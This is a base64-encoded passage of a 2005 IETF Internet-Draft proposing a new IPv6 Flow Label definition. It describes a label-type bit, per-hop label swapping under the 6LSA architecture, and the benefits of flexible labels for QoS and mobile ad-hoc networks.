b3cgaXRzDQogICB3aWRlLXNwcmVhZCB1c2U7IHRoZSBzdGF0aWMgYWxsb2NhdGlvbiBvZiB0aGUg RmxvdyBMYWJlbCByYWlzZXMNCiAgIHF1ZXN0aW9ucyByZWdhcmRpbmcgaXRzIHNjYWxhYmlsaXR5 LiAgSXQgaXMgc2FmZSB0byBhc3N1bWUgdGhhdA0KICAgZW1lcmdpbmcgYXBwbGljYXRpb25zIHdp bGwgZmluZCBpdCBkaWZmaWN1bHQgdG8gdGFrZSBhZHZhbnRhZ2Ugb2YgdGhlDQogICBjdXJyZW50 IEZsb3cgTGFiZWwgc3BlY2lmaWNhdGlvbi4NCg0KNC4gIE5ldyBGbG93IExhYmVsIFNwZWNpZmlj YXRpb24NCg0KICAgVGhpcyBkb2N1bWVudCBwcm9wb3NlcyBsaW1pdGVkIG1vZGlmaWNhdGlvbiB0 byB0aGUgY3VycmVudA0KICAgc3BlY2lmaWNhdGlvbiBvZiB0aGUgRmxvdyBMYWJlbC4NCg0KICAg SW4gdGhpcyBuZXcgc3BlY2lmaWNhdGlvbiwgdGhlIDIwLWJpdCBGbG93IExhYmVsIGluIHRoZSBJ UHY2IGhlYWRlcg0KICAgaXMgdXNlZCBieSBhIGhvc3Qgb3IgbmV0d29yayBub2RlIHRvIGxhYmVs IG9uZSBvciBtb3JlIHBhY2tldHMgb2YgYQ0KICAgZmxvdy4gIEluIHRoaXMgY29uZmlndXJhdGlv biB0aGUgbGFiZWwgc3RpbGwgY29tcHJpc2VzIDIwLWJpdHMgLSBzYW1lDQogICBhcyBpbiB0aGUg b3JpZ2luYWwgc3BlY2lmaWNhdGlvbiBbMV0sIGhvd2V2ZXIsIGFuIGFsbC16ZXJvIGxhYmVsIGNh bg0KICAgYmUgdXNlZCBmb3IgaWRlbnRpZnlpbmcgYSBzcGVjaWZpYyBmbG93IHN1Y2ggYXMgZm9y IHRoZSBsZWFzdA0KICAgc2lnbmlmaWNhbnQsIGRlZmF1bHQgY2xhc3Mgb2Ygc2VydmljZSBpbiB0 aGUgZGlmZmVyZW50aWF0ZWQgc2VydmljZQ0KICAgYXJjaGl0ZWN0dXJlLg0KDQoNCg0KDQpCb3Vu ZCwgZXQgYWwuICAgICAgICAgICBFeHBpcmVzIEF1Z3VzdCAyMSwgMjAwNSAgICAgICAgICAgICAg ICAgW1BhZ2UgN10NCgwNCkludGVybmV0LURyYWZ0ICAgIFByb3Bvc2FsIGZvciBhIE5ldyBGbG93 IExhYmVsIERlZmluaXRpb24gRmVicnVhcnkgMjAwNQ0KDQoNCiAgIFBhY2tldCBjbGFzc2lmaWNh dGlvbiB1c2VzIG9ubHkgdGhlIEZsb3cgTGFiZWwgdG8gaWRlbnRpZnkgd2hpY2ggZmxvdw0KICAg YSBwYXJ0aWN1bGFyIHBhY2tldCBiZWxvbmdzIHRvLiAgVGhlIHVzZSBvZiBvdGhlciBpbmZvcm1h dGlvbiBpbiB0aGUNCiAgIHBhY2tldCBoZWFkZXIgb3IgbmV0d29yayBub2RlIGNhbiBhbHNvIGJl IHVzZWQgd2hlbiBuZWNlc3NhcnkgdG8NCiAgIGlkZW50aWZ5IGEgZmxvdyBmb3IgcmVuZGVyaW5n IGxhYmVsIGJpbmRpbmcgc2lnbmlmaWNhbmNlIHRvIGEgZmxvdy4NCiAgIEZvciBleGFtcGxlLCB0 aGUgc291cmNlIGFuZC9vciBkZXN0aW5hdGlvbiBhZGRyZXNzZXMgaW4gdGhlIGZvcm1lcg0KICAg Y2FzZSBhbmQgcGh5c2ljYWwgcG9ydCBhZGRyZXNzIGluIHRoZSBsYXR0ZXIgd291bGQgYmUgZXhh bXBsZXMgb2YNCiAgIHN1Y2ggaW5mb3JtYXRpb24uDQoNCiAgIFRoZSBGbG93IExhYmVsIGhhcyBs b2NhbCBzaWduaWZpY2FuY2UgLSB0aGUgc2NvcGUgb2YgdGhpcyBjb3VsZCBiZQ0KICAgbGltaXRl ZCB0byBhIHNpbmdsZSBob3Agb3IgZXh0ZW5kZWQgdG8gYSB3aG9sZSBuZXR3b3JrIGRvbWFpbi4g IEENCiAgIGZsb3cgdXNpbmcgYSB1bmlxdWUgbGFiZWwgY2FuIGJlIGluaXRpYXRlZCBhdCBhIGhv c3Qgb3IgYW55IG5vZGUgaW4gYQ0KICAgbmV0d29yay4gIFNpbWlsYXJseSwgYSBmbG93IGNhbiBi ZSB0ZXJtaW5hdGVkIGF0IHRoZSBhZGphY2VudA0KICAgZG93bnN0cmVhbSBub2RlIGluIGNhc2Ug b2YgYSBzaW5nbGUtaG9wIGZsb3cgb3IgY2FuIGNvbnRpbnVlIGZvcg0KICAgc2V2ZXJhbCBob3Bz IGRlcGVuZGluZyBvbiB0aGUgZXh0ZW50IG9mIHVzZSBvZiB0aGUgb3JpZ2luYWwgbGFiZWwNCiAg IGJpbmRpbmcuDQoNCiAgIFBhY2tldHMgaW4gYSBmbG93IGFyZSBwcm9jZXNzZWQgaW4gYSBmbG93 LXNwZWNpZmljIG1hbm5lciBieSB0aGUNCiAgIG5vZGVzIHRoYXQgaGF2ZSBiZWVuIHNldCB1cCB3 aXRoIGZsb3ctc3BlY2lmaWMgc3RhdGUuICBUaGUgRmxvdyBMYWJlbA0KICAgc2V0IGJ5IHRoZSBm bG93IHNvdXJjZSBub2RlIE1VU1QgYmUgZGVsaXZlcmVkIHVuY2hhbmdlZCB0byB0aGUgZmxvdw0K ICAgZGVzdGluYXRpb24gbm9kZShzKS4NCg0KICAgVGhlIHNvdXJjZSBub2RlIGNhbiBiZSBhIGhv c3Qgb3IgYSBub2RlIHRoYXQgZ2VuZXJhdGVzIGEgZmxvdzsgdGhpcw0KICAgbm9kZSBjYW4gYmUg ZGlmZmVyZW50IGZyb20gdGhlIHNvdXJjZSBob3N0IChhcyBpZGVudGlmaWVkIGJ5IHRoZQ0KICAg c291cmNlIGFkZHJlc3MgaW4gdGhlIHBhY2tldCBoZWFkZXIpIGFuZCB0aGUgZGVzdGluYXRpb24g bm9kZSBjYW4gYmUNCiAgIGEgaG9zdCBvciBub2RlIHRoYXQgdGVybWluYXRlcyBhIGZsb3cgYW5k IGNhbiBiZSBkaWZmZXJlbnQgZnJvbSB0aGUNCiAgIGRlc3RpbmF0aW9uIGhvc3QgKGFzIGlkZW50 aWZpZWQgYnkgdGhlIGRlc3RpbmF0aW9uIGFkZHJlc3MgaW4gdGhlDQogICBwYWNrZXQgaGVhZGVy KS4NCg0KICAgVGhpcyBzcGVjaWZpY2F0aW9uIGZvbGxvd3MgdGhlIG9yaWdpbmFsIHNwZWNpZmlj YXRpb24gWzFdIGluIHRoYXQNCiAgIG5vZGVzIGtlZXBpbmcgZHluYW1pYyBmbG93IHN0YXRlIE1V U1QgTk9UIGFzc3VtZSBwYWNrZXRzIGFycml2aW5nIDEyMA0KICAgc2Vjb25kcyBvciBtb3JlIGFm dGVyIHRoZSBwcmV2aW91cyBwYWNrZXQgb2YgYSBmbG93IHN0aWxsIGJlbG9uZyB0bw0KICAgdGhl IHNhbWUgZmxvdywgdW5sZXNzIGEgZmxvdyBzdGF0ZSBlc3RhYmxpc2htZW50IG1ldGhvZCBpbiB1 c2UNCiAgIGRlZmluZXMgYSBsb25nZXIgZmxvdyBzdGF0ZSBsaWZldGltZSBvciB0aGUgZmxvdyBz dGF0ZSBoYXMgYmVlbg0KICAgZXhwbGljaXRseSByZWZyZXNoZWQgd2l0aGluIHRoZSBsaWZldGlt ZSBkdXJhdGlvbi4NCg0KICAgVGhlIHVzZSBvZiB0aGUgRmxvdyBMYWJlbCBmaWVsZCBkb2VzIG5v dCBuZWNlc3NhcmlseSBzaWduYWwgYW55DQogICByZXF1aXJlbWVudCBvbiBwYWNrZXQgcmVvcmRl cmluZy4gIElmIGFuIElQdjYgbm9kZSBpcyBub3QgcHJvdmlkaW5nDQogICBmbG93LXNwZWNpZmlj IHRyZWF0bWVudCwgaXQgTVVTVCBpZ25vcmUgdGhlIGZpZWxkIHdoZW4gcmVjZWl2aW5nIG9yDQog ICBmb3J3YXJkaW5nIGEgcGFja2V0Lg0KDQogICBUbyBleHRlbmQgdGhlIGNhcGFiaWxpdGllcyBv ZiB0aGUgRmxvdyBMYWJlbCwgaXQgaXMgcHJvcG9zZWQgdGhhdCBvbmUNCiAgIGJpdCwgdGhlIG1v c3Qgc2lnbmlmaWNhbnQgYml0IChNU0IpIGJpdCwgYmUgc3BlY2lmaWVkIGFzIGZvbGxvd3MuICBJ bg0KICAgdGhlIGZvbGxvd2luZyBmaWd1cmUsIHRoZSBNU0IgYml0IGNvbnNpc3RzIG9mIGEgTGFi ZWwgVHlwZSAoTCkNCiAgIHN1YmZpZWxkLg0KDQogICBUaGUgZm9sbG93aW5nIHZhbHVlcyBhcmUg ZGVmaW5lZCBmb3IgdGhpcyBzdWJmaWVsZCBmb3IgYSBub2RlDQogICByZWNlaXZpbmcgYSBwYWNr ZXQgZnJvbSBhbiB1cHN0cmVhbSBub2RlIG9yIGhvc3Q6DQoNCg0KDQoNCkJvdW5kLCBldCBhbC4g ICAgICAgICAgIEV4cGlyZXMgQXVndXN0IDIxLCAyMDA1ICAgICAgICAgICAgICAgICBbUGFnZSA4 XQ0KDA0KSW50ZXJuZXQtRHJhZnQgICAgUHJvcG9zYWwgZm9yIGEgTmV3IEZsb3cgTGFiZWwgRGVm aW5pdGlvbiBGZWJydWFyeSAyMDA1DQoNCg0KICAgCS0gIDAgaGV4OiB0aGlzIHBhY2tldCBpcyB0 aGUgZmlyc3QgcGFja2V0IG9mIGEgbmV3IGZsb3cNCg0KICAgCS0gIDEgaGV4OiB0aGlzIHBhY2tl dCBpcyBub3QgdGhlIGZpcnN0IHBhY2tldCBvZiBhIG5ldyBmbG93DQoNCg0KDQogICAgICAgICAJ Ky0rLSstKy0rLSstKy0rLSstKy0rLSstKy0rLSstKy0rLSstKy0rLSsNCiAgICAgICAgIAl8THwg ICAgICAgICAgICAgRmxvdyBMYWJlbCAgICAgICAgICAgICAgfA0KICAgICAgICAgCSstKy0rLSst Ky0rLSstKy0rLSstKy0rLSstKy0rLSstKy0rLSstKy0rDQoNCiAgICAgICAgICAgICAgICAgICAg RmxvdyBMYWJlbCB3aXRoIHN1YmZpZWxkIChMKQ0KDQoNCg0KICAgVGhlIGJpbmFyeSB2YWx1ZSBv ZiB0aGUgTVNCIHdpbGwgbWFrZSBmbG93IG1lcmdpbmcgZWFzaWVyIGluIDZMU0ENCiAgIG5ldHdv cmsgWzJdLg0KDQogICBUbyBzdXBwb3J0IDZMU0EgZnJhbWV3b3JrIChkZXNjcmliZWQgYmVsb3cg aW4gU2VjdGlvbiA1KSBhbmQgZm9yDQogICBncmVhdGVyIHNjYWxhYmlsaXR5IG9mIHVzYWdlLCB0 aGUgY3VycmVudCBmaXhlZCBGbG93IExhYmVsDQogICBzcGVjaWZpY2F0aW9uIGlzIGV4dGVuZGVk IHRvIGFsbG93IGZsZXhpYmlsaXR5IGluIGxhYmVsaW5nIHBhY2tldHMuDQogICBMYWJlbHMgYXJl IG5vdCBzdGF0aWMgZW5kLXRvLWVuZCBhcyBzdWNoIHRoZSBzcGVjaWZpY2F0aW9uDQogICBhY2Nv bW1vZGF0ZXMgbGFiZWwgc3dhcHBpbmcgaW4gdGhlIG5ldHdvcmsgbm9kZXMuICBTdWNoIGEgbm9u LXN0YXRpYw0KICAgbGFiZWwgaXMgaGVyZWFmdGVyIGNhbGxlZCCTZmxleGlibGUgbGFiZWyUIG9y IGZsZXhpYmxlIGxhYmVsDQogICBhc3NpZ25tZW50LiAgSW4gdGhlIGZsZXhpYmxlIGxhYmVsIGFz c2lnbm1lbnQsIGxhYmVscyBjYW4gYmUgc3dhcHBlZA0KICAgaW4gdGhlIG5ldHdvcmsgbm9kZXMg b2YgYSBnaXZlbiBuZXR3b3JrIGluIGEgNkxTQSBkb21haW4gc28gbG9uZyBhcw0KICAgdGhlIG9y aWdpbmFsIGxhYmVsIGlzIHJlaW5zZXJ0ZWQgYmVmb3JlIHRoZSBmbG93IGFycml2ZXMgYXQgdGhl DQogICBkZXN0aW5hdGlvbi4NCg0KNC4xICBJbXBsaWNhdGlvbnMNCg0KICAgVGhlIHByb3Bvc2Vk IG1vZGlmaWNhdGlvbiBvZiB0aGUgRmxvdyBMYWJlbCBmaWVsZCBpbiB0aGUgSVB2Ng0KICAgZGF0 YWdyYW0gaGVhZGVyIGhhcyBubyBpbXBhY3RzIG9uIGhvc3RzIGFuZCByb3V0ZXJzIHRoYXQgZG8g bm90DQogICBjdXJyZW50bHkgc3VwcG9ydCBJUHY2IEZsb3cgTGFiZWwgcHJvY2Vzc2luZy4gIEZv ciBvdGhlciBzeXN0ZW1zLA0KICAgdGhpcyBtb2RpZmljYXRpb24gcmVxdWlyZXMgdG8gcmVkdWNl IHRoZSBsYWJlbCBzaXplIGZyb20gMjAgYml0cyB0bw0KICAgMTkgYml0cy4gIFRoaXMgcmVkdWNl cyB0aGUgbnVtYmVyIG9mIGZsb3dzIGZyb20gYWJvdXQgYSBtaWxsaW9uIHRvDQogICBhYm91dCBo YWxmIG9mIHRoYXQuICBIb3dldmVyLCBvbmUtaGFsZiBtaWxsaW9uIGZsb3dzIHNob3VsZCBiZQ0K ICAgYWRlcXVhdGUgZm9yIHBlci1ob3AgUW9TIGRlbGl2ZXJ5IGluIGFueSBzaXplIG5ldHdvcmsu DQoNCjUuICBBbiBFbWVyZ2luZyBVc2FnZSBmb3IgdGhlIEZsb3cgTGFiZWwgRmllbGQNCg0KICAg QW4gYXJjaGl0ZWN0dXJhbCBmcmFtZXdvcmssIGNhbGxlZCBJUHY2IExhYmVsIFN3aXRjaGluZyBB cmNoaXRlY3R1cmUNCiAgICg2TFNBKSBoYXMgYmVlbiBwcm9wb3NlZCBbMl0gdG8gZGVtb25zdHJh dGUgaG93IHRoZSBzcGVjaWZpY2F0aW9uDQogICBwcmVzZW50ZWQgaW4gdGhpcyBkb2N1bWVudCBj YW4gYmUgdXNlZC4gIFRoZSBhcmNoaXRlY3R1cmUgYWxsb3dzDQogICBuZXR3b3JrIG5vZGVzIHRv IGdlbmVyYXRlIGxhYmVscyBsb2NhbGx5LiAgVGhlIGxhYmVsIGlzIHRoZW4gdXNlZCB0bw0KICAg c3BlY2lmeSBmbG93cywgYmluZCB0aGVtIHRvIEZFQ3MgYW5kIGZvcndhcmQgcGFja2V0cyBhdCBo aWdoIHNwZWVkDQogICBvdmVyIHRoZSBsYWJlbC1kZXJpdmVkIExTUHMuDQoNCiAgIFRoZSBhcmNo aXRlY3R1cmUgaW5jbHVkZXMgc3dhcHBpbmcgb2YgbGFiZWxzIGluIGEgbmV0d29yayBub2RlLCB0 aGF0DQoNCg0KDQpCb3VuZCwgZXQgYWwuICAgICAgICAgICBFeHBpcmVzIEF1Z3VzdCAyMSwgMjAw NSAgICAgICAgICAgICAgICAgW1BhZ2UgOV0NCgwNCkludGVybmV0LURyYWZ0ICAgIFByb3Bvc2Fs IGZvciBhIE5ldyBGbG93IExhYmVsIERlZmluaXRpb24gRmVicnVhcnkgMjAwNQ0KDQoNCiAgIGlz LCB0aGUgb3V0Z29pbmcgbGFiZWwgcmVwbGFjZXMgdGhlIGluY29taW5nIGxhYmVsIGFzIHRoZSBw YWNrZXQNCiAgIHRyYXZlcnNlcyBhIG5vZGUuICBUaGUgb3V0Z29pbmcgbGFiZWwgcmVwcmVzZW50 cyB0aGUgTFNQIGZyb20gdGhpcw0KICAgbm9kZSB0byB0aGUgZG93bnN0cmVhbSBub2RlLiAgVGhl IG9yaWdpbmFsIGxhYmVsIGlzIHJlaW5zdGF0ZWQgaW4gdGhlDQogICBwYWNrZXQgaW4gdGhlIDZM U0EgZWdyZXNzIHJvdXRlci4NCg0KICAgVGhpcyBhcmNoaXRlY3R1cmUgaXMgbWVhbnQgdG8gcHJv dmlkZSBtZWFucyBmb3IgdHJhZmZpYyBlbmdpbmVlcmluZw0KICAgZm9yIFFvUyBkZWxpdmVyeS4g IEluIHRoaXMgbW9kZWwsIEZsb3cgTGFiZWwgY2FuIGJlIGNoYW5nZWQgaW4gYQ0KICAgcGFja2V0 IHN0cmVhbS4gIEEgZmxvdywgY2FsbGVkIHBzZXVkby1mbG93ICh0byBhdm9pZCBjb25mbGljdCB3 aXRoDQogICB0aGUgY3VycmVudCBkZWZpbml0aW9uIFsxXSksIGdldHMgaWRlbnRpZmllZCB3aXRo IGEgRmxvdyBMYWJlbCBhcyBpdA0KICAgaXMgY3JlYXRlZCBmb3IgZWFjaCBob3AsIHRoYXQgaXMs IGZsb3dzIGhhdmUgaG9wLWJ5LWhvcCBzaWduaWZpY2FuY2UNCiAgIGZvciBhIGdpdmVuIHNlc3Np b24gYW5kIHJlcXVpcmVkIFFvUy4NCg0KICAgVG8gc3VwcG9ydCBJUHY2IGJhc2VkIGxhYmVsIHN3 aXRjaGluZywgdGhhdCBpcywgc3dhcHBpbmcgb2YgaW5jb21pbmcNCiAgIGxhYmVsIHdpdGggdGhl IG91dGdvaW5nIGxhYmVsICh0aGUgbGF0dGVyIG1hcHBlZCB0byBhIGdpdmVuIEZFQykgaW4NCiAg IHRoZSBuZXR3b3JrIG5vZGUgaXMgYWxsb3dlZC4gIFRoZSBsYWJlbCBzd2l0Y2hpbmcgaXMgdXNl ZCB0byBzZXQgdXANCiAgIGxhYmVsIHN3aXRjaGVkIHBhdGhzIChMU1BzKSBzaW1pbGFyIHRvIHRo ZSBNUExTIExTUHMgb3ZlciB3aGljaA0KICAgcGFja2V0cyBhcmUgZm9yd2FyZGVkIGFmdGVyIHRo ZXkgYXJlIGJvdW5kIHRvIGEgRm9yd2FyZGluZyBFcXVpdmFsZW50DQogICBDbGFzcyAoRkVDKS4N Cg0KICAgQnkgdXNpbmcgdGhlIElQdjYgRmxvdyBMYWJlbCB2YWx1ZSBmb3IgcGFja2V0IGZvcndh cmRpbmcgKGFuZA0KICAgY2xhc3NpZmljYXRpb24gYXMgbmVjZXNzYXJ5IGlmIG5vdCBwcm92aWRl ZCBieSB0aGUgVHJhZmZpYyBDbGFzcyksDQogICB0aGlzIGFyY2hpdGVjdHVyZSBhdm9pZHMgdGhl IGxpbmsgb3ZlcmhlYWQgYXNzb2NpYXRlZCB3aXRoIGxhYmVsDQogICBkaXN0cmlidXRpb24gdGhh dCBpcyBuZWVkZWQgdG8gdGllIHRoZSBJUHY2IGFkZHJlc3MgdG8gYSBGbG93IExhYmVsLg0KICAg VGhpcyBsYXllciAzIHVzZSBvZiBGbG93IExhYmVsIGZvciBwYWNrZXQgZm9yd2FyZGluZyBhbHNv IGFsbG93cw0KICAgcm91dGVyIHBlZXJpbmcgaW4gbGF5ZXIgMyB1bmxpa2Ugb3RoZXIgY29udGVt cG9yYXJ5IHZpcnR1YWwgY2lyY3VpdA0KICAgcHJvdG9jb2xzLg0KDQogICBUaGUgNkxTQSBmcmFt ZXdvcmsgWzJdIGlzIGEgZ29vZCBleGFtcGxlIHRoYXQgaGlnaGxpZ2h0cyB0aGUgbmVlZHMgdG8N CiAgIGJyb2FkZW4gdGhlIGN1cnJlbnQgZGVmaW5pdGlvbiBvZiB0aGUgSVB2NiBGbG93IExhYmVs IGZpZWxkLiAgSXQgaXMNCiAgIHBvc3NpYmxlIHRoYXQgbW9yZSBhcHBsaWNhdGlvbnMgbGlrZSA2 TFNBIHdpbGwgZW1lcmdlIHRoYXQgY2FuIHRha2UNCiAgIGFkdmFudGFnZSBvZiB0aGUgZmllbGQu DQoNCjYuICBCZW5lZml0cyBvZiBGbGV4aWJsZSBMYWJlbA0KDQogICBUaGUgZmxleGlibGUgbGFi ZWwgaGFzIG1hbnkgYmVuZWZpdHMsIGFuIGFicmlkZ2VkIHZlcnNpb24gaXMgcHJvdmlkZWQNCiAg IGhlcmUuICBUaGUgNkxTQSBleGFtcGxlIFsyXSBzaG93cyBob3cgdGhlc2UgYmVuZWZpdHMgY2Fu IGJlIHJlYWxpemVkLg0KDQogICAJLSAgU3VwcG9ydGluZyBhIHBlci1ob3AgbGFiZWwgYXNzaWdu bWVudCBtZWNoYW5pc20gZW5hYmxlcw0KICAgaGlnaC1zcGVlZCBwYWNrZXQgcHJvY2Vzc2luZyB0 aHJvdWdoIHNob3J0IDIwLWJpdCBsYWJlbCBzd2l0Y2hpbmcNCiAgIGluc3RlYWQgb2YgZXh0cmVt ZWx5IGxhcmdlIDMtdHVwbGUsIDI3Ni1iaXQgZmxvdyAoaWRlbnRpZmllcikgb3INCiAgIDEyOC1i aXQgYWRkcmVzcyBsb29rLXVwcy4gVGhpcyBjb3VsZCBzaWduZmljYW50bHkgcmVkdWNlIGRlbGF5 cyBmb3INCiAgIGFsbCBkZWxheS1zZW5zaXRpdmUgcmVhbC10aW1lIGFuZCBuZWFyLXJlYWwtdGlt ZSB0cmFmZmljIHRoZXJlYnkNCiAgIGNvbnNpZGVyYWJseSBlbmhhbmNpbmcgUW9TIGRlbGl2ZXJ5 Lg0KDQogICAJLSAgSW4gbW9iaWxlIGFkLWhvYyBuZXR3b3Jrcywgc3VjaCBhcyBpbiB0aGUgbWls aXRhcnkgbmV0d29ya3MsIHRoZQ0KICAgdXNlIG9mIGxhYmVsIGZvciBwYWNrZXQgZm9yd2FyZGlu ZyBwcm92aWRlcyBmb3IgZmFzdCBhbmQgZmxleGlibGUNCiAgIG5ldHdvcmtpbmcgZm9yIG1vYmls ZSBub2Rlcy4gT25jZSBhIGZsb3cgaGFzIGJlZW4gc2V0IHVwIHRocm91Z2ggYW55DQogICBvbmUg b2Ygc2V2ZXJhbCBzZWxlY3RlZCBtZXRob2RzIHN1Y2ggYXMgdGhyb3VnaCBhc3NvY2lhdGlvbiBv ZiB0aGUNCg0KDQoNCkJvdW5kLCBldCBhbC4gICAgICAgICAgIEV4cGlyZXMgQXVndXN0IDIxLCAy MDA1ICAgICAgICAgICAgICAgIFtQYWdlIDEwXQ0KDA0KSW50ZXJuZXQtRHJhZnQgICAgUHJvcG9z YWwgZm9yIGEgTmV3IEZsb3cgTGFiZWwgRGVmaW5pdGlvbiBGZWJydWFyeSAyMDA1DQoNCg0KICAg RmxvdyBMYWJlbCBpbiB0aGUgZmlyc3QgKGxlYWQpIHBhY2tldCB3aXRoIElQdjYgYWRkcmVzc2Vz IG9yIHBoeXNpY2FsDQogICBwb3J0IG9yIHRocm91Z2ggc29tZSBvdGhlciBtZWFucywgYWxsIHN1 c2VxdWVudCBwYWNrZXRzIGluIHRoZSBmbG93DQogICBjYW4gYmUgZm9yd2FyZGVkIHVzaW5nIHRo ZSBGbG93IExhYmVsLiBUaGlzIGhlbHBzIHBhY2tldCBmb3J3YXJkaW5nDQogICBiYXNlZCBzb2xl eSBvbiB0aGUgRmxvdyBMYWJlbCBhbmQgaW4gc21hbGwsIGJhbmR3aWR0aCBjb25zdHJhaW5lZA0K ICAgbmV0d29ya3MgdGhpcyBjb3VsZCBoZWxwIGVsaW1pbmF0ZSB0aGUgdHJhbnNtaXNzaW9uIG9m IHRoZSBwYWNrZXQNCiAgIGhlYWRlciB3aXRoIGVhY2ggcGFja2V0IGJleW9uZCB0aGUgaW5ncmVz cyBub2RlIGZvciBwYWNrZXRzIHRoYXQgYXJlDQogICBuZXh0LXRvLWxlYWQgcGFja2V0cyBbMl0u IChUaGlzIGNvbmNlcHQgaXMgaW4gaXRzIGVhcmx5IHN0YWdlIG9mDQogICBldmFsdWF0aW9uIGF0 IHRoaXMgdGltZS4pIFRoZSBwcm9jZXNzIGlmIGFkb3B0ZWQgd2lsbCBzYXZlIGJhbmR3aWR0aA0K ICAgY29uc2lkZXJhYmx5IGluIGFkLWhvYywgbW9iaWxlIGxpbmtzIGluIGFkZGl0aW9uIHRvIHBy b3ZpZGluZw0KICAgY29uc2lkZXJhYmxlIHNhdmluZ3MgaW4gbWVtb3J5IChlbm9ybW91c2x5IHJl ZHVjZWQgYml0IHNwYWNlKSwNCiAgIGJhbmR3aWR0aCAoc2lnbmlmaWNhbnRseSByZWR1Y2VkIHBh Y2tldCBoZWFkZXIgb3ZlcmhlYWQpIGFuZA0KICAgcHJvY2Vzc2luZyAoZmV3ZXIgZmV0Y2hlcyBh bmQgc21hbGxlciBiaXQgZmllbGQpLg0KDQogICAJLSAgTGFiZWxzIGRlbWFyY2F0ZSBwZXIgaG9w IGxhYmVsIHN3aXRjaGVkIHBhdGhzLiBQZXItaG9wIGxhYmVsDQogICBhc3NpZ25tZW50IGlzIG1v cmUgcm9idXN0IHRoYW4gZW5kLXRvLWVuZCBiZWNhdXNlIHRoZSBGbG93IExhYmVscyBhcmUNCiAg IGFzc2lnbmVkIGhvcC1ieS1ob3Agd2hpY2ggaGVscHMgcHJldmVudCBlcnJvcnMgZnJvbSBwcm9w YWdhdGluZyBhbG9uZw0KICAgdGhlIGNvbW11bmljYXRpb25zIHBhdGguDQoNCiAgIAktICBQZXIg aG9wIGxhYmVsIGFzc2lnbm1lbnQgYWxsb3dzIGZvciB1c2luZyBkYXRhZ3JhbSB0cmFuc21pc3Np b24NCiAgIHdoZXJlIFFvUyByZXF1aXJlbWVudHMgY2FuIGJlIHJlbGF4ZWQgb3IgY2Fubm90IGJl IGVuZm9yY2VkIGZvcg0KICAgdmFyaW91cyByZWFzb25zLiBUaGlzIGFkZHMgYW5vdGhlciBkaW1l bnNpb24gdG8gdGhlIHVzZSBvZiBmbGV4aWJsZQ0KICAgbGFiZWwuIFRoZSBwYWNrZXRzIGNhbiBz dGlsbCBjYXJyeSB0aGUgbGFiZWxzIGJ1dCBwcm9jZXNzc2luZyBvZg0KICAgcGFja2V0cyB3aWxs IG5vdCBiZSBsYWJlbCBiYXNlZCBidXQgb24gY29udmVudGlvbmFsIHJvdXRpbmcNCiAgIGFsZ29y aXRobXMuIFRoaXMgY291bGQgYmUgZW1wbG95ZWQgb24gb25lIG9yIG1vcmUgaG9wcyBieSBhcHJp b3JpDQogICBkZXNpZ24sIHNpZ25hbGluZyBvciBhZC1ob2MgY29uZmlndXJhdGlvbiBjb250cm9s IHVzaW5nIG5ldHdvcmsNCiAgIG1hbmFnbWVudCB0b29scy4NCg0KICAgCS0gIFRoZSBmbGV4aWJs ZSBsYWJlbCBhbGxvd3MgcmVhZHkgaW50ZWdyYXRpb24gb2YgZmxvd3Mgd2l0aCBhIGxvY2FsDQog ICBRb1MgbWVjaGFuaXNtIGFzIGF2YWlsYWJsZSBpbiBhIG5vZGUgdGhhdCBjYW4gbWFrZSB1c2Ug b2YgdGhlIGxhYmVsIC0NCiAgIGEgbm9kZSBpcyBub3QgZGVwZW5kZW50IG9uIGEgY2VudHJhbGx5 IGFkbWluaXN0ZXJlZCBsYWJlbCBiaW5kaW5nIG9yDQogICBwYWNrZXQgY2xhc3NpZmljYXRpb24g bWVjaGFuaXNtIC0gdGhpcyBpcyBnb29kIGZvciBzY2FsYWJpbGl0eS4NCiAgIFR5cGljYWxseSwg aW5lbGFzdGljIG9yIHByZWZlcnJlZCBlbGFzdGljIGNsYXNzIG9mIHNlcnZpY2UgcndxdWlyZXMN CiAgIGluZGl2aWR1YWwgZmxvd3MgdG8gcmVjZWl2ZSBwcmVmZXJyZWQgdHJlYXRtZW50LiAgT25l IHdhdCB0byBhY2hpZXZlDQogICB0aGlzIHByZWZlcnJlZCB0cmVhdCBtZW50IGNvdWxkIHRocm91 Z2ggaW5kaXZpZHVhbCBUcmFmZmljIENsYXNzDQogICBtYXJraW5ncyBhbmQgZmxvdy1sYWJlbCBi YXNlZCBmb3J3YXJkaW5nIHRyZWFtZW50IG9mIHN1Y2ggbWFya2VkDQogICBwYWNrZXRzIHRocm91 Z2ggbWFuYWdlZCBjb250cmwgb2YgYXZhaWxhYmxlIHJlc291cmNlcy4NCg0KICAgCS0gIEFsbG93 aW5nIGxvY2FsIGxhYmVsIGdlbmVyYXRpb24gaGVscHMgZWxpbWluYXRlIHNpZ25hbGluZyBmb3IN CiAgIGRpc3RyaWJ1dGluZyBsYWJlbHMgYW5kIHNhdmUgbmV0d29yayByZXNvdXJjZXMuDQoNCiAg IAktICBGbGV4aWJsZSBsYWJlbGluZyBpcyBlZmZpY2llbnQgYmVjYXVzZSBpdCBlbGltaW5hdGVz IGxvd2VyIGxheWVyDQogICBwZWVyaW5nIGFuZCBhbGxvd3MgcGVlcmluZyBiZXR3ZWVuIG5ldHdv cmsgbm9kZXMgaW4gbGF5ZXIgMy4gRmxvdw0KICAgTGFiZWwgY29udHJvbCBwbGFuZSBtZWNoYW5p c21zIGNhbiBiZSB0aWVkIHRvIG9uZSBvciBtb3JlIGxheWVyIDMNCiAgIGNvbnRyb2wgcGxhbmUg bWVjaGFuaXNtcyBzdWNoIGFzIGFuIElHUCwgUlNWUCwgZXRjLiwgLSB0aGUgbGF0dGVyDQogICBo ZWxwcyBhdm9pZCBOMiAobi1zcXVhcmVkKSBwcm9ibGVtcyBvZiBiZWxvdy1sYXllciAzIHZpcnR1 YWwNCiAgIGNpcmN1aXRzLg0KDQoNCg0KDQoNCkJvdW5kLCBldCBhbC4gICAgICAgICAgIEV4cGly ZXMgQXVndXN0IDIxLCAyMDA1ICAgICAgICAgICAgICAgIFtQYWdlIDExXQ0KDA0KSW50ZXJuZXQt RHJhZnQgICAgUHJvcG9zYWwgZm9yIGEgTmV3IEZsb3cgTGFiZWwgRGVmaW5pdGlvbiBGZWJydWFy eSAyMDA1DQoNCg0KICAgCS0gIEluIG1vYmlsZSBhZC1ob2MgbmV0d29ya3Mgd2hlcmUgbGlua3Mg Z28gdXAgYW5kIGRvd24gcmFuZG9tbHkgYW5kDQogICBmcmVxdWVudGx5LCB0aGUgZW5kLXRvLWVu ZCBtb2RlbCBvZiBmbG93IGVzdGFibGlzaG1lbnQgYW5kDQogICBtYWludGVuYW5jZSBpcyBub3Qg 